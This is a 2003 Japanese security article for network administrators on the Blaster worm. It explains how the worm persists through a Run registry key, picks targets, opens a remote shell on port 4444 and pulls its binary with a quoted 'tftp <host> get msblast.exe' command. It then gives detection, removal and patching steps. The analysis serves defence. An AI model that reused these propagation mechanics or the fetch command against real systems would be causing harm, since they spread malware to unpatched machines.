Windows HotFix Briefings緊急ワーム対策スペシャルネットワーク管理者のためのBlasterワーム対策 ―― Blasterワーム感染の有無の確認、排除、防御の手順 ―― DA Lab Windowsセキュリティ2003/08/16 2003/08/18 更新 |
|
|
Windowsのセキュリティ・ホール(MS03-026:RPCインターフェイスのバッファ・オーバーランによりコードが実行される)を攻撃する「Blaster」と呼ばれるワームが全世界で急速に感染を広げている。国内でも一部の企業や自治体などがワームに感染し、業務を停止するなどの影響が出ている。この問題は、新聞やテレビを始めとして、多くの報道機関が取り上げたことから、多くの方がすでにご存じのことだろう。
-
Blasterに関する情報(マイクロソフト)
-
マイクロソフト・セキュリティ情報「RPCインターフェイスのバッファ オーバーランによりコードが実行される(823980)(MS03-026)」
-
HotFix Briefings「緊急セキュリティ情報 RPCインターフェイスの脆弱性により、システムが乗っ取られる可能性(MS03-026)」
今回は、HotFix Briefingsの特別編として、企業のWindowsネットワーク管理者を対象に、自身が管理するネットワークにおいてBlasterワームの感染がないかどうかを確認し、感染があった場合の除去方法、修正プログラムを適用して以後の感染を根本的に防止する方法をまとめる。
感染はなぜ拡大したのか
このBlasterワームは、TCPの135番ポートやUDPの69番ポートなどを介して感染を広げる(技術的な詳細は後述)。まず、感染が懸念されるのは、ファイアウォールなどを正しく設置せずに(前出のポートなどを正しくフィルタリングせずに)インターネットに接続している個人ユーザーのコンピュータで、MS03-026のセキュリティ・ホールが放置されているものだ。正確な数字は明らかではないが、このケースでインターネットにBlasterワームの感染パケットを垂れ流しているコンピュータは少なくないと予想される。
一方、企業のコンピュータはどうか。通常、企業のインターネット接続では、ファイアウォールによって外部から社内LANへの前記ポートのアクセスは遮断されている。従ってファイアウォールのフィルタリングが完全なら、たとえ社内にMS03-026のセキュリティ・ホールが放置されたコンピュータがあっても、感染を防止することが可能だ。しかし実際には、国内でも一部の企業や自治体などがBlasterワームに感染し、業務に支障をきたしている。感染経路は明らかになっていない場合が多いようだ。現在のコンピュータ・ネットワークでは、ダイヤルアップ接続(RAS:Remote Access Service)やVPN接続で社内LANに接続するモバイル・ユーザーがいたり、ノートPCを持ち込んでLANに接続するユーザーがいたりと、ネットワーク利用の幅が広がっている。このことは、必ずしもファイアウォールを管理するだけでは、ワームなどの攻撃から社内ネットワーク防御できないことを示している。やはり根本的には、使用するすべてのコンピュータに対し、公開されている修正プログラムを鋭意適用していくしか予防法はないだろう。HotFix管理の詳細については、本フォーラムの以下の記事を参照されたい。
- Windows Server Insider「HotFix管理を始めよう」
Blasterワームの攻撃対象
Blasterワームの攻撃によって影響を受けるWindowsのバージョンは以下のとおりである。
攻撃対象OS |
Windows NT Workstation 4.0 |
Windows NT Server 4.0 |
Windows NT Server, Enterprise Edition 4.0 |
Windows NT Server 4.0, Terminal Server Edition |
Windows 2000 Professional |
Windows 2000 Server |
Windows 2000 Advanced Server |
Windows 2000 Datacenter Edition |
Windows 2000 Powered |
Windows XP Home Edition |
Windows XP Professional |
Windows XP Tablet PC Edition |
Windows Server 2003 Standard Edition |
Windows Server 2003 Enterprise Edition |
Windows Server 2003 Datacenter Edition |
Windows Server 2003 Web Edition |
このように、実質的に、現在企業で利用されているほとんどすべてのサーバ/クライアントPCが対象となっている。自身が管理するネットワークにBlasterワームに感染したものがないかどうか、Blasterワームの攻撃対象となるセキュリティ・ホール(MS03-026)が放置されたコンピュータがないかどうかを至急に確認し、対策する必要がある。
Blasterワームの攻撃手法
Blasterワームの技術的な詳細については、すでにマイクロソフトやウイルス対策ソフト・ベンダ各社、セキュリティ関連ベンダから多数のドキュメントが公開されている。なかでも最も詳しいのは、米Symantecが公開している以下のレポートである。
日本語のドキュメントとしては、冒頭でも紹介した以下のマイクロソフトのページにリンクが一覧になっている。
詳細はこれらに譲るとして、ここでは、Blasterワームの攻撃手法のポイントについてまとめておこう。
まずBlasterワームは、Windows OSに感染すると、「BILLY」というミューテックス(スレッドの同期を制御するために使用されるWin32のカーネル・オブジェクト)を作成し、自分自身が2度以上起動(感染)しないように保護する。続いてレジストリに以下のキーを登録し、Windowsの起動時にmsblast.exe(ワームの実行ファイル)が自動的に実行されるように設定する。
キー:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
値 :"windows auto update" = "MSBLAST.EXE"
また、ほかのコンピュータに自分自身を提供するためのtftpサーバ機能を開始させる(tftpは、UDPの69番でリッスンする簡易ファイル転送プロトコル)。この後Blasterワームは、別のコンピュータに自身のコピーを送り込んで感染を広げるための活動を開始する。まず、攻撃先のコンピュータ(IPアドレス)を次のようにして決定する。
-
乱数を20で割り、その余りが12以上の場合には、攻撃のターゲットをローカルIPアドレスをベースとするものにする。ローカル・ホスト(感染した元のコンピュータ)のIPアドレスをA.B.C.Dとすると、まずDを0に設定し、さらにCが20よりも大きければ、20以下の乱数をCから引く。
-
乱数を割った余りが12未満の場合には、攻撃先のIPアドレスをランダムに生成する。
このようにBlasterワームは、60%の確率でローカルのLAN(同一サブネット上のコンピュータ)を攻撃対象とし、40%の確率でグローバル・アドレスを含む外部ネットワークを攻撃対象とする。いったんIPアドレスが決定すれば、以後は1つずつ増加させながら以下の攻撃を繰り返す。
攻撃対象のIPアドレスが決定したら、TCPの135番ポートに攻撃用のデータを送信し、MS03-026のセキュリティ・ホールが修正されていないコンピュータを探す。未修正のコンピュータが見つかったら、MS-RPCのバッファ・オーバーフローの脆弱性を使って、TCPの4444番ポートで待機するリモート・シェルを作成する。そして、感染元のコンピュータからmsblast.exeの本体を取得するコマンド(「tftp <ホスト名> get msblast.exe」)をリモート・シェルに送り込み、実行させる。これにより、Blasterワームの本体が攻撃先のコンピュータに送られる。次にmsblast.exeを起動させるコマンドを送り込むと、Blasterワームが実行を開始し、さらに感染を広げることになる。
ただし、最初の攻撃(TCP 135番ポートへの攻撃用データの送信)を受けたとき、感染はせずにシステムが再起動するコンピュータがある。この場合には、感染の拡大には加担せずに済むこともあるが、セキュリティ・ホールを解消しないかぎり、攻撃用データを受信するたびにシステムが再起動を繰り返すことになる。
なおBlasterワームには、システムの現在の日付カレンダが8月16日以降なら、マイクロソフトのWindows Updateサイト(windowsupdate.com)に接続し、DoS攻撃(サービス拒否攻撃)をしかけるコードが埋め込まれている。ワームが攻撃するセキュリティ・ホールの修正プログラムを適用させないようにする措置と思われる。
オリジナルのBlasterワームは、感染を広げるだけで、システム破壊などは行わない。しかし、すでにBlasterワームの亜種がいくつか確認されており、今後も安全だとはいえない。
以上、セキュリティ・ホールが放置されており、Blasterワームの攻撃を受けたコンピュータの挙動は、再起動を繰り返すか、感染して、さらにほかのコンピュータへと感染を広げるかのいずれかである。
Blasterワームの攻撃を受けた脆弱なコンピュータの挙動 |
MS03-026のセキュリティ・ホールが放置されたコンピュータがBlasterワームの攻撃用データを受信したとき、再起動を繰り返す場合と、自身が感染して感染を広げる場合の2種類がある。 |
Blasterワームの被害確認(まず始めに)
まずは、ネットワークがすでにBlasterワームの攻撃によって影響を受けていないかを手早く確認する。これには次の点に注目する。
- ネットワーク内に再起動を繰り返しているコンピュータが存在しないか
- ネットワーク・トラフィックが異常ではないか
万能ではないが、2.を手っ取り早く知るには、スイッチング・ハブのLEDに注目するという方法がある。通常のLAN上の通信では、クライアントとサーバ間での比較的決まった経路でのパケットが多いはずだ。そのため、特定の2つのLEDが同時に点滅することが多い。これに対し、Blasterワームではランダムに通信先のIPアドレスを生成してアクセスしようとする。もちろん、存在しない相手先IPアドレスへの通信も多く発生する。このためスイッチング・ハブのポート別のLEDは、いくつかの決まったポートだけが点滅するのではなく、各ポートのLED全体が激しく点滅することになるだろう。まるで、ブロードキャストがずっと送信されっぱなしのような状態に見える。この場合はBlasterワームの感染を疑った方がよい。ただし、ハブのLEDの応答速度が鈍い場合など、この方法が使えない場合もある。また、攻撃対象がローカルのLAN以外のIPアドレス範囲にさしかかると、そのトラフィックはすべてデフォルト・ゲートウェイへと向くことになるので、今度はデフォルト・ゲートウェイに対するトラフィックが異常に増えることになる(つまりインターネットとのトラフィックがずっと発生し続けるという状態になる)。
より厳密にトラフィックを調査するには、ネットワーク内に流れているパケットをキャプチャして内部を調査する。この方法については、コラム「Blasterワーム・パケットをキャプチャする」を参照されたい。
すでに感染が疑われる場合には、パケットのモニタリングなどによって対象のコンピュータを急いで見つけ出し、ワームの駆除と修正プログラムの適用を実施する。
Blasterワームの被害確認と除去、予防の手順
当面緊急の感染対策が不要そうだからといって安心してはいけない。自身が管理しているネットワークに対し、Blasterワームの攻撃によって被害を受けたコンピュータがないかどうか、Blasterワームに感染したコンピュータがいないかどうかを確認し、感染したコンピュータが存在した場合の除去方法、将来の感染を防止するための措置について手順を追ってみていこう。
1.ファイアウォールのフィルタリング設定を確認する
まずは、攻撃用パケットが外部から侵入することを防止する。冒頭でも述べたとおり、通常はTCP 135番ポートなどはファイアウォールによってフィルタリングしているはずだが、念のため確認する必要がある。これを最初に行っておかないと、以後の作業途中で攻撃を受ける可能性があるからだ。また、すでに社内にBlasterワームに感染し、感染活動を開始しているコンピュータが存在するかもしれないので、インターネット(社外)から社内に向かうパケットだけでなく、社内からインターネットに向かうパケットについても同様にフィルタリング設定を行う。
ファイアウォールのフィルタリング設定を確認できない場合には、ネットワーク自体を遮断する必要があるが、その場合には、次の2.の手順で述べるファイル群(OS別の修正プログラム、コラムに示したISSのツールやマイクロソフト提供のツール、Blasterワームの駆除ツールなど)を遮断前に入手するか、別の手段で入手する必要がある。
2.作業に必要なファイル群を入手する
以後の作業で必要になるファイル群をインターネットからダウンロードする。具体的には次のものを入手する。
-
MS0-026の修正プログラム(マイクロソフトより入手。対象となるコンピュータごとにファイルが異なるので、必要な環境用の修正プログラムをすべて入手すること)
-
ISS(Internet Security Systems)が提供するBlasterワーム用セキュリティ・ホール検出ツール(詳細はコラム「Internet Security Systemsが提供するBlasterワーム用セキュリティ・ホール検出ツール」を参照)*1
-
Blasterワーム駆除ツール(Blasterワームに感染したコンピュータから、ワームを除去するツール。ウイルス対策ソフト・ベンダなどが無償提供している)
-
ウイルス対策ソフト用の最新パターン・ファイル(必要な場合)
*1 [追加情報]この原稿の執筆後、マイクロソフトからもMS03-026の未適用コンピュータをリモートから検出するコマンドライン・ツール(KB
823980 Scanning Tool [KB823980scan.exe] )の提供が開始された。記事中ではISSツールを利用した方法について解説しているが、このKB
823980 Scanning Toolを使っても同様の処理を行うことができる。 ・KB 823980 Scanning Toolを使用して、セキュリティ修正プログラム23980(MS03-026) がインストールされていないホスト・コンピュータを特定する方法(マイクロソフト・サポート技術情報) |
Blasterワームの駆除ツールは、ウイルス対策ソフト・ベンダ各社が無償提供している。以下のページからダウンロード可能である。
ウイルス対策ソフトを利用してBlasterワームの感染を検出するなら、最新のパターン・ファイルが必要だろう。
3.ISSのScanmsツールを利用して、脆弱なコンピュータを洗い出す
2.で入手したScanmsツールを利用して、MS03-026のセキュリティ・ホールが放置されたコンピュータをネットワークから洗い出す。Scanmsコマンドの利用法についてはコラム「Internet
Security Systemsが提供するBlasterワーム用セキュリティ・ホール検出ツール」を参照。
4.脆弱なコンピュータのネットワークの切断とBlasterワーム感染の検出と除去
3.でセキュリティ・ホールが放置されたコンピュータが見つかったら、まずはそれらのコンピュータをネットワーから切断し、Blasterワームの除去ツールを使って感染有無を確認し、感染しているなら除去を行う。
なお、3.のScanmsツールでは、電源の入っていないコンピュータは検出対象外となるので、これらのコンピュータについても同様にネットワークを切断した後、除去ツールを適用する。
5.修正プログラム(MS03-026)の適用
4.のコンピュータに対し、MS03-026の修正プログラムを適用する。
Internet Security Systemsが提供するBlasterワーム用セキュリティ・ホール検出ツール Scanmsでは、検出したいIPアドレスの範囲を指定して、その範囲内にMS03-026の修正プログラムが適用されていないコンピュータが存在しないかどうかを検出する。実行方法は次のとおり。 scanms.exe [開始IPアドレス]-[終了IPアドレス] 例えば、開始IPアドレスを「192.168.0.1」、終了IPアドレスを「192.168.0.100」として実行すると、以下のように結果が表示される。
Scanmsでは、「REMACT」と「SYSACT」という2種類の検出方法を利用している(具体的な検出方法は不明)。これらそれぞれについて検出結果が一覧表示されている。ここでどちらか一方でも[VULN]と表示されたら(この例では「192.168.0.56」のコンピュータ)、MS03-026の修正プログラムが適用されていない可能性がある。 このようにScanmsを利用すれば、多数のコンピュータから、MS03-026を未適用のコンピュータを効率よく探し出すことができる。 |
修正プログラムの最新動向
■Windows 2000 SP2も修正プログラムの対象プラットフォームに追加
マイクロソフトは、Blasterワームの感染が拡大しているため、従来はサポート対象外としていたWindows 2000 SP2に対しても、MS03-026の修正プログラムを適用可能にした。
■Windows NT Workstation 4.0 SP6aへの適用
マイクロソフトのサポート技術情報「823980」によれば、Windows NT Workstation 4.0 SP6aは正式な適用対象ではないものの、修正プログラムの適用が可能だとされている。
修正プログラム適用時の注意事項
Windows NT 4.0 SP6aおよびWindows 2000 SP2からRPCのセキュリティ・ホールを取り除くには、MS03-026の修正プログラムだけでなく、MS01-041(不正なRPCリクエストがサービスを異常終了させる)の修正プログラムを適用する必要がある。これらの環境では、MS01-041とMS03-026の修正プログラムを両方とも必ず適用すること。DA Labで検証した結果、MS03-026の適用後にMS01-041を適用しても、ファイルのバージョンが戻ることはなかった。
MS01-041は、Windows 2000 SP3に含まれているため、Windows 2000 SP3以降の環境(Windows 2000 SP3/SP4)では、MS02-041を個別に適用する必要はない。
MS01-041の修正プログラムは、以下のダウンロード・ページで「日本語」もしくは「Japanese Language Version」を選択してダウンロードする。なお、Windows NT 4.0 SP6aに対するMS01-041の修正プログラムは単体では配布されておらず、ほかのセキュリティ修正プログラムを累積した「セキュリティ ロールアップ パッケージ」に含まれている。
Blasterワーム・パケットをキャプチャする
|
更新履歴 |
【2003/08/18】当初の原稿執筆後にマイクロソフトから公開されたMS03-026未適用コンピュータ検出ツール「KB 823980 Scanning Tool 」の情報を追加しました。 |
Windows HotFix Briefings |
- Azure Web Appsの中を「コンソール」や「シェル」でのぞいてみる (2017/7/27)
AzureのWeb Appsはどのような仕組みで動いているのか、オンプレミスのWindows OSと何が違うのか、などをちょっと探訪してみよう - Azure Storage ExplorerでStorageを手軽に操作する (2017/7/24)
エクスプローラのような感覚でAzure Storageにアクセスできる無償ツール「Azure Storage Explorer」。いざというときに使えるよう、事前にセットアップしておこう - Win 10でキーボード配列が誤認識された場合の対処 (2017/7/21)
キーボード配列が異なる言語に誤認識された場合の対処方法を紹介。英語キーボードが日本語配列として認識された場合などは、正しいキー配列に設定し直そう - Azure Web AppsでWordPressをインストールしてみる (2017/7/20)
これまでのIaaSに続き、Azureの大きな特徴といえるPaaSサービス、Azure App Serviceを試してみた! まずはWordPressをインストールしてみる
|
|